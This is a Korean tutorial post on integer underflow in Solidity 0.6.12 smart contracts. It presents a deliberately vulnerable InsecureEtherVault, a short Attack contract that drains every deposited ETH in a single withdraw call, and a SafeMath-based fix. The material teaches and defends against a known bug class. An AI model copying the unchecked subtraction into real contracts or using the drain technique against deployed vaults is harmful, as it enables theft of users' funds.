번역 및 내용을 추가하여 작성하였습니다.
다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.
Integer Underflow는 공격자가 integer 타입에 대한 오버플로우를 이용하여 Contract에 있는 모든 Ether를 훔치는 공격입니다.
먼저 InsecureEtherVault Contract와 FixedEtherVault Contract에 필요한 ReentrancyGuard abstract 입니다.
Reentrancy Attack(재진입 공격)을 막기 위한 abstract Contract입니다.
pragma solidity 0.6.12;
abstract contract ReentrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
아래는 사용자가 ETH를 입금하고, ETH를 출금하고, 잔액을 확인할 수 있는 간단한 보관소인 InsecureEtherVault Contract입니다.
pragma solidity 0.6.12;
import "./Dependencies.sol";
contract InsecureEtherVault is ReentrancyGuard {
mapping (address => uint256) private userBalances;
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) external noReentrant {
uint256 balance = getUserBalance(msg.sender);
require(balance - _amount >= 0, "Insufficient balance");
userBalances[msg.sender] -= _amount;
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Failed to send Ether");
}
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return userBalances[_user];
}
}
withdraw()함수의 14번째 줄과 16줄에서 정수 언더플로우가 발생합니다.
이때 공격자가 가진 잔액이 5ETH 일때 공격자가 함수에 10ETH를 출금 요청 한다고 가정해보겠습니다.
해당 그림은 언더플로우가 어떻게 발생하는지 보여줍니다. 5에서 10을 빼는 경우, 보시다시피 계산된 값은 2의 256승 - 5로 원을 그리며 앞으로 이동합니다.
따라서 해당 구문에서 언더플로우를 발생시켜 계산된 값이 0보다 커지므로 통과합니다.
function withdraw(uint256 _amount) external noReentrant {
...
require(balance - _amount >= 0, "Insufficient balance");
...
}
따라서 공격자는 단 한 번의 출금 트랜잭션으로 Contract에 잠긴 ETH를 모두 빼낼 수 있습니다.
Attack Contract의 attack()함수는 InsecureEtherVault 컨트랙트에 있는 ETH를 모두 탈취할 수 있는 공격 컨트랙트입니다.
공격자는 한 푼도 입금하지 않고도 InsecureEtherVault Contract안에 있는 ETH를 모두 훔칠 수 있습니다.
pragma solidity 0.6.12;
interface IEtherVault {
function withdraw(uint256 _amount) external;
function getEtherBalance() external view returns (uint256);
}
contract Attack {
IEtherVault public immutable etherVault;
constructor(IEtherVault _etherVault) public {
etherVault = _etherVault;
}
receive() external payable {}
function attack() external {
etherVault.withdraw(etherVault.getEtherBalance());
}
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
}
참고로 공격자는 InsecureEtherVault를 공격하기 위해 컨트랙트를 배포할 필요도 없습니다. 왜냐하면 공격자는 InsecureEtherVault.withdraw(InsecureEtherVault.getEtherBalance())를 바로 호출 할 수 있기 때문입니다.
공격자는 그림에서 볼 수 있듯이 45개의 ETH를 탈취 했습니다.(사용자1과 사용자2가 각각 10개와 35개의 이더를 예치했습니다)
Underflow issue를 막기 위한 2가지 예방책이 있습니다.
pragma solidity 0.6.12;
import "./Dependencies.sol";
// Simplified SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
}
contract FixedEtherVault is ReentrancyGuard {
using SafeMath for uint256;
mapping (address => uint256) private userBalances;
function deposit() external payable {
userBalances[msg.sender] = userBalances[msg.sender].add(msg.value); // FIX: Apply SafeMath
}
function withdraw(uint256 _amount) external noReentrant {
uint256 balance = getUserBalance(msg.sender);
require(balance.sub(_amount) >= 0, "Insufficient balance"); // FIX: Apply SafeMath
userBalances[msg.sender] = userBalances[msg.sender].sub(_amount); // FIX: Apply SafeMath
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Failed to send Ether");
}
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return userBalances[_user];
}
}
Test Script는 github에 있습니다.
Source code link
Coverage를 올리기 위해 mock Contract를 추가로 작성하였습니다.